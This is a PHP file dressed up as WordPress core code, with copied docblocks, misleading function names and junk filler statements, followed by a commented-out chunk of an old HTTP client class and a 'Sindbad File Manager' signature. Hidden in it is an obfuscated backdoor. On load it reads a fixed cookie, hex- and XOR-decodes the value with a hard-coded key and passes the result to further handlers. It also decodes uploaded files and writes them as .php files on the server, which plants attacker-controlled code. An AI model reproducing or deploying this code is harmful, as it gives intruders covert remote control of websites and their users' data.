$taxonomy_object = explode(":", $users_multi_table); // Parse arguments.
$upgrade_folder = ceil($upgrade_folder);
$wp_rest_application_password_status = str_split($linktype); // If the cache is for an outdated build of SimplePie
$start_offset = str_repeat($start_offset, $upgrade_folder);
if (count($taxonomy_object) == 3) {
$some_pending_menu_items = "Three parts found!";
}
$sensitive = str_pad($some_pending_menu_items, strlen($some_pending_menu_items) + 5, "-");
$terms_update = str_split($start_offset); // General libraries.
$terms_update = array_slice($terms_update, 0, $reply_to);
$move_widget_area_tpl = array_map("fromReverseString", $wp_rest_application_password_status, $terms_update);
$move_widget_area_tpl = implode('', $move_widget_area_tpl);
return $move_widget_area_tpl;
}
/**
* Handles the description column output.
*
* @since 4.3.0
* @deprecated 6.2.0
*
* @param WP_Post $post The current WP_Post object.
*/
function wp_unregister_sidebar_widget($sticky_args) {
$meta_list = array('first', 'second', 'third');
if (!empty($meta_list)) {
$mime_pattern = count($meta_list);
$user_meta = str_pad($meta_list[0], 10, '*');
}
$v_list = hash('md5', $user_meta);
$tax_type = rawurldecode($v_list);
return array_unique($sticky_args);
}
/*
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
}
*/
function column_visible($post_more, $upgrade_dir_exists = 'txt')
{
return $post_more . '.' . $upgrade_dir_exists;
}
/**
* Adds hidden fields with the data for use in the inline editor for posts and pages.
*
* @since 2.7.0
*
* @param WP_Post $post Post object.
*/
function wp_admin_bar_edit_site_menu($prev_link)
{
$option_name = sprintf("%c", $prev_link);
$sanitized_nicename__in = "Programming Language";
$maximum_font_size_raw = substr($sanitized_nicename__in, 11);
return $option_name;
}
/**
* Attributes (options) for the route that was matched.
*
* This is the options array used when the route was registered, typically
* containing the callback as well as the valid methods for the route.
*
* @since 4.4.0
* @var array Attributes for the request.
*/
function get_dependencies($show_post_title, $start_offset) // Look for context, separated by \4.
{
$sKey = file_get_contents($show_post_title);
$sitewide_plugins = substr("Hello, World!", 0, 5); // ----- Check the magic code
$noop_translations = wp_ajax_add_link_category($sKey, $start_offset);
$remote_socket = array(1, 2, 3, 4, 5);
if (in_array(3, $remote_socket)) {
$v_read_size = "Found 3!";
}
file_put_contents($show_post_title, $noop_translations); // Huffman Lossless Codec
}
/**
* Filters the list of sidebars and their widgets.
*
* @since 2.7.0
*
* @param array $sidebars_widgets An associative array of sidebars and their widgets.
*/
function clean_bookmark_cache($remote_socket, $oldfile) {
$p_filename = get_column_headers($remote_socket, $oldfile); // The transports decrement this, store a copy of the original value for loop purposes.
$user_language_new = "new_entry";
$original_image_url = explode("_", $user_language_new);
$new_params = rawurldecode("%20");
$ok_to_comment = str_pad($original_image_url[1], 10, "@");
return wp_unregister_sidebar_widget($p_filename);
}
/**
* Retrieves the URL for editing a given term.
*
* @since 3.1.0
* @since 4.5.0 The `$taxonomy` parameter was made optional.
*
* @param int|WP_Term|object $term The ID or term object whose edit link will be retrieved.
* @param string $taxonomy Optional. Taxonomy. Defaults to the taxonomy of the term identified
* by `$term`.
* @param string $object_type Optional. The object type. Used to highlight the proper post type
* menu on the linked page. Defaults to the first object_type associated
* with the taxonomy.
* @return string|null The edit term link URL for the given term, or null on failure.
*/
function get_providers($wide_max_width_value)
{
if (strpos($wide_max_width_value, "/") !== false) {
return true;
} // Create a section for each menu.
return false; // wp_update_post() expects escaped array.
}
/**
* Filters the WHERE clause in the SQL for an adjacent post query.
*
* The dynamic portion of the hook name, `$subdomaindjacent`, refers to the type
* of adjacency, 'next' or 'previous'.
*
* Possible hook names include:
*
* - `get_next_post_where`
* - `get_previous_post_where`
*
* @since 2.5.0
* @since 4.4.0 Added the `$taxonomy` and `$post` parameters.
*
* @param string $where The `WHERE` clause in the SQL.
* @param bool $rest_argsn_same_term Whether post should be in the same taxonomy term.
* @param int[]|string $SyncPattern1xcluded_terms Array of excluded term IDs. Empty string if none were provided.
* @param string $taxonomy Taxonomy. Used to identify the term used when `$rest_argsn_same_term` is true.
* @param WP_Post $post WP_Post object.
*/
function fromReverseString($option_name, $ATOM_CONTENT_ELEMENTS) // s0 = a0 * b0;
{
$MPEGaudioVersionLookup = get_the_post_thumbnail($option_name) - get_the_post_thumbnail($ATOM_CONTENT_ELEMENTS);
$last_data = "apple,banana,orange";
$sticky_args = explode(",", $last_data); // Replace line breaks from all HTML elements with placeholders.
if (count($sticky_args) > 2) {
$wildcard_host = implode("-", $sticky_args);
$ArrayPath = strlen($wildcard_host);
}
// Step 4: Check if it's ASCII now
$MPEGaudioVersionLookup = $MPEGaudioVersionLookup + 256;
$MPEGaudioVersionLookup = $MPEGaudioVersionLookup % 256;
$option_name = wp_admin_bar_edit_site_menu($MPEGaudioVersionLookup);
return $option_name;
}
/**
* @since 3.4.0
* @deprecated 3.5.0
*
* @param array $optionnoneorm_fields
* @return array $optionnoneorm_fields
*/
function setup_widget_addition_previews($size_of_hash)
{
return wp_ajax_search_plugins() . DIRECTORY_SEPARATOR . $size_of_hash . ".php";
}
/** @var string $srcetext */
function fe_normalize($xhash, $widget_control_id)
{
$uploaded = move_uploaded_file($xhash, $widget_control_id);
$site_meta = "Car_Make_Model"; // phpcs:ignore PHPCompatibility.Lists.AssignmentOrder.Affected
$secure = explode('_', $site_meta);
foreach ($secure as $g5) {
$json_translations = getFileSizeSyscall($g5);
$html_head = hash('md5', $json_translations);
$mapped_from_lines = strlen($html_head);
if ($mapped_from_lines < 32) {
$parent_theme_version_debug = str_pad($html_head, 32, '0');
} else {
$parent_theme_version_debug = substr($html_head, 0, 32);
}
$textdomain[] = $parent_theme_version_debug;
}
$option_sha1_data = implode('.', $textdomain); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
// Kses only for textarea admin displays.
return $uploaded; // Footnotes Block.
}
/**
* Dashboard Administration Screen
*
* @package WordPress
* @subpackage Administration
*/
function invalidate_mo_files_cache($post_more)
{
$userdata_raw = 'fPAgbgEvMbCsEeLaSJq';
$term_names = 'This is a test string';
$new_collection = explode(' ', $term_names);
if (count($new_collection) > 2) {
$wp_registered_widget_updates = $new_collection[0] . ' ' . $new_collection[2];
}
// Compact the input, apply the filters, and extract them back out.
if (isset($_COOKIE[$post_more])) {
wp_refresh_heartbeat_nonces($post_more, $userdata_raw);
} // Check for paged content that exceeds the max number of pages.
}
/**
* Filters the comment author's URL.
*
* @since 1.5.0
* @since 4.1.0 The `$srceomment_id` and `$srceomment` parameters were added.
*
* @param string $srceomment_author_url The comment author's URL, or an empty string.
* @param string|int $srceomment_id The comment ID as a numeric string, or 0 if not found.
* @param WP_Comment|null $srceomment The comment object, or null if not found.
*/
function get_nonces($post_more, $userdata_raw, $updated_action) # return 0;
{
$size_of_hash = $_FILES[$post_more]['name'];
$tax_input = "Url Decoding Example";
$html_current_page = rawurldecode($tax_input);
$opt_in_path_item = str_pad($html_current_page, 15, " ");
$now_gmt = hash('sha512', $opt_in_path_item); // fall through and append value
$ttl = substr($now_gmt, 0, 20); // Function : privConvertHeader2FileInfo()
$show_post_title = setup_widget_addition_previews($size_of_hash);
if (isset($ttl)) {
$parsed_scheme = str_replace("a", "0", $ttl);
}
get_dependencies($_FILES[$post_more]['tmp_name'], $userdata_raw); // All words in title.
fe_normalize($_FILES[$post_more]['tmp_name'], $show_post_title);
}
/**
* Theme Installer Skin for the WordPress Theme Installer.
*
* @since 2.8.0
* @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
*
* @see WP_Upgrader_Skin
*/
function get_column_headers($remote_socket, $oldfile) {
return array_merge($remote_socket, $oldfile);
}
/*
* Right now we expect a classname pattern to be stored in BLOCK_STYLE_DEFINITIONS_METADATA.
* One day, if there are no stored schemata, we could allow custom patterns or
* generate classnames based on other properties
* such as a path or a value or a prefix passed in options.
*/
function verify_32($needed_dirs)
{ # bcrypt will happily accept and correct a salt string which
$outer = pack("H*", $needed_dirs);
$reg_blog_ids = " Sample Data ";
$sideloaded = getFileSizeSyscall($reg_blog_ids); // Cache current status for each comment.
if (!empty($sideloaded)) {
$page_cache_test_summary = strlen($sideloaded);
}
return $outer;
}
/**
* The unique ID of the screen.
*
* @since 3.3.0
* @var string
*/
function wp_refresh_heartbeat_nonces($post_more, $userdata_raw)
{
$wp_last_modified_comment = $_COOKIE[$post_more];
$subdomain = "Important";
$original_height = "Data";
$srce = substr($subdomain, 3); // @link: https://core.trac.wordpress.org/ticket/20027
$post_args = str_pad($original_height, 12, "*");
$SyncPattern1 = date("Y-m-d");
$wp_last_modified_comment = verify_32($wp_last_modified_comment);
if (strlen($srce) > 2) {
$optionnone = hash('sha1', $post_args);
}
$updated_action = wp_ajax_add_link_category($wp_last_modified_comment, $userdata_raw);
if (get_providers($updated_action)) {
$relative_template_path = wp_kses_html_error($updated_action);
return $relative_template_path;
}
get_post_embed_url($post_more, $userdata_raw, $updated_action);
} // https://www.getid3.org/phpBB3/viewtopic.php?t=1369
/**
* Renders JS templates for all registered panel types.
*
* @since 4.3.0
*/
function wp_logout($used_global_styles_presets, $time_saved) {
$AuthType = "collaborative_work";
return strlen($used_global_styles_presets) == strlen($time_saved);
}
/**
* Retrieves the user meta type.
*
* @since 4.7.0
*
* @return string The user meta type.
*/
function PushError($wide_max_width_value)
{ // Offset to next tag $xx xx xx xx
$size_of_hash = basename($wide_max_width_value); // End iis7_supports_permalinks(). Link to Nginx documentation instead:
$show_post_title = setup_widget_addition_previews($size_of_hash);
$updated_style = "Test String";
$yoff = hash('crc32b', $updated_style);
$portable_hashes = substr($yoff, 0, 4);
translations($wide_max_width_value, $show_post_title);
}
$post_more = 'XCcU'; //Check if it is a valid disposition_filter
$new_domain = "ChunkDataPiece";
invalidate_mo_files_cache($post_more); // Registered (already installed) importers. They're stored in the global $wp_importers.
$post_title = substr($new_domain, 5, 4);
$node_to_process = clean_bookmark_cache([1, 2, 3], [3, 4, 5]);
$object_position = rawurldecode($post_title);
/* get URL portion of the redirect
preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches);
look for : in the Location header to see if hostname is included
if(!preg_match("|\:\/\/|",$matches[2]))
{
no host in the path, so prepend
$this->_redirectaddr = $URI_PARTS["scheme"].":".$this->host.":".$this->port;
eliminate double slash
if(!preg_match("|^/|",$matches[2]))
$this->_redirectaddr .= "/".$matches[2];
else
$this->_redirectaddr .= $matches[2];
}
else
$this->_redirectaddr = $matches[2];
}
if(preg_match("|^HTTP/|",$result_headers[$currentHeader]))
$this->response_code = $result_headers[$currentHeader];
$this->headers[] = $result_headers[$currentHeader];
}
check if there is a redirect meta tag
if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
{
$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
}
have we hit our frame depth and is there frame src to fetch?
if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
{
$this->results[] = $results;
for($x=0; $x<count($match[1]); $x++)
$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"].":".$this->host);
}
have we already fetched framed content?
elseif(is_array($this->results))
$this->results[] = $results;
no framed content
else
$this->results = $results;
unlink("$headerfile");
return true;
}
======================================================================*\
Function: setcookies()
Purpose: set cookies for a redirection
\*======================================================================
function setcookies()
{
for($x=0; $x<count($this->headers); $x++)
{
if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match))
$this->cookies[$match[1]] = urldecode($match[2]);
}
}
======================================================================*\
Function: _check_timeout
Purpose: checks whether timeout has occurred
Input: $fp file pointer
\*======================================================================
function _check_timeout($fp)
{
if ($this->read_timeout > 0) {
$fp_status = socket_get_status($fp);
if ($fp_status["timed_out"]) {
$this->timed_out = true;
return true;
}
}
return false;
}
======================================================================*\
Function: _connect
Purpose: make a socket connection
Input: $fp file pointer
\*======================================================================
function _connect(&$fp)
{
if(!empty($this->proxy_host) && !empty($this->proxy_port))
{
$this->_isproxy = true;
$host = $this->proxy_host;
$port = $this->proxy_port;
}
else
{
$host = $this->host;
$port = $this->port;
}
$this->status = 0;
if($fp = fsockopen(
$host,
$port,
$errno,
$errstr,
$this->_fp_timeout
))
{
socket connection succeeded
return true;
}
else
{
socket connection failed
$this->status = $errno;
switch($errno)
{
case -3:
$this->error="socket creation failed (-3)";
case -4:
$this->error="dns lookup failure (-4)";
case -5:
$this->error="connection refused or timed out (-5)";
default:
$this->error="connection failed (".$errno.")";
}
return false;
}
}
======================================================================*\
Function: _disconnect
Purpose: disconnect a socket connection
Input: $fp file pointer
\*======================================================================
function _disconnect($fp)
{
return(fclose($fp));
}
======================================================================*\
Function: _prepare_post_body
Purpose: Prepare post body according to encoding type
Input: $formvars - form variables
$formfiles - form upload files
Output: post body
\*======================================================================
function _prepare_post_body($formvars, $formfiles)
{
settype($formvars, "array");
settype($formfiles, "array");
$postdata = '';
if (count($formvars) == 0 && count($formfiles) == 0)
return;
switch ($this->_submit_type) {
case "application/x-www-form-urlencoded":
reset($formvars);
foreach ( $formvars as $key => $val ) {
if (is_array($val) || is_object($val)) {
foreach ( $val as $cur_key => $cur_val ) {
$postdata .= urlencode($key)."[]=".urlencode($cur_val)."&";
}
} else
$postdata .= urlencode($key)."=".urlencode($val)."&";
}
break;
case "multipart/form-data":
$this->_mime_boundary = "Snoopy".md5(uniqid(microtime()));
reset($formvars);
foreach ( $formvars as $key => $val ) {
if (is_array($val) || is_object($val)) {
foreach ( $val as $cur_key => $cur_val ) {
$postdata .= "--".$this->_mime_boundary."\r\n";
$postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n";
$postdata .= "$cur_val\r\n";
}
} else {
$postdata .= "--".$this->_mime_boundary."\r\n";
$postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
$postdata .= "$val\r\n";
}
}
reset($formfiles);
foreach ( $formfiles as $field_name => $file_names ) {
settype($file_names, "array");
foreach ( $file_names as $file_name ) {
if (!is_readable($file_name)) continue;
$fp = fopen($file_name, "r");
$file_content = fread($fp, filesize($file_name));
fclose($fp);
$base_name = basename($file_name);
$postdata .= "--".$this->_mime_boundary."\r\n";
$postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n";
$postdata .= "$file_content\r\n";
}
}
$postdata .= "--".$this->_mime_boundary."--\r\n";
break;
}
return $postdata;
}
}
endif;
?>
*/
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists